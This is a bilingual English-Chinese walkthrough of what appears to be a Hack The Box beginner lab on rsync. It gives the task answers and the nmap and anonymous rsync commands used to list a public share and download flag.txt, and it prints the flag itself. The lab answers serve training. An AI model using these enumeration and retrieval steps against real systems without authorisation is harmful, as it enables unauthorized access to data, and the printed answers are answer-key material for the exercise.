[StartingPoint][Tier0]Synced
Important
rsync 是一个用于在不同计算机之间同步文件和目录的工具。它能够以高效的方式传输和同步数据,只传输文件中发生变化的部分,而不是整个文件。这使得 rsync 在备份、文件同步和数据传输等场景中非常实用和高效
Task 1
What is the default port for rsync?
(rsync 的默认端口是什么?)
873
Task 2
How many TCP ports are open on the remote host?
(远程主机上打开了多少个 TCP 端口?)
$ sudo nmap -sS -T4 10.129.222.70 --min-rate 1000
ps: --min-rate 1000,这意味着 nmap 将以每秒至少发送 1000 个扫描报文的速度进行扫描
1
Task 3
What is the protocol version used by rsync on the remote machine?
(远程计算机上的 rsync 使用的协议版本是什么?)
$ sudo nmap -sV -T4 10.129.222.70 --min-rate 1000
31
Task 4
What is the most common command name on Linux to interact with rsync?
(Linux 上与 rsync 交互的最常用命令名称是什么?)
rsync
Task 5
What credentials do you have to pass to rsync in order to use anonymous authentication? anonymous:anonymous, anonymous, None, rsync:rsync
(您必须将哪些凭据传递给 rsync 才能使用匿名身份验证?匿名:匿名,匿名,无,rsync:rsync)
None
Task 6
What is the option to only list shares and files on rsync?
(No need to include the leading – characters)
仅列出 rsync 上的共享和文件的选项是什么? (无需包含前导 – 字符)
list-only
Flag
A
$ rsync -avz 10.129.222.70:: --list-only # 先查看对方rsync共享文件有哪些,因为是匿名访问所以不需要提供账户密码,反之(rsync -avz username@10.129.222.70:: --list-only)
$ rsync -avz 10.129.222.70::public
$ rsync -avz 10.129.222.70::public/flag.txt ./flag.txt && cat ./flag.txt
72eaf5344ebb84908ae543a719830519
B
其实还有一个更快的方法
$ rsync -avz 10.129.26.13:: --list-only
$ mkdir Data
$ rsync -avz 10.129.26.13::public ./Data # 保存public文件下全部内容到Data目录
$ ls -l ./Data
$ cat ./Data/flag.txt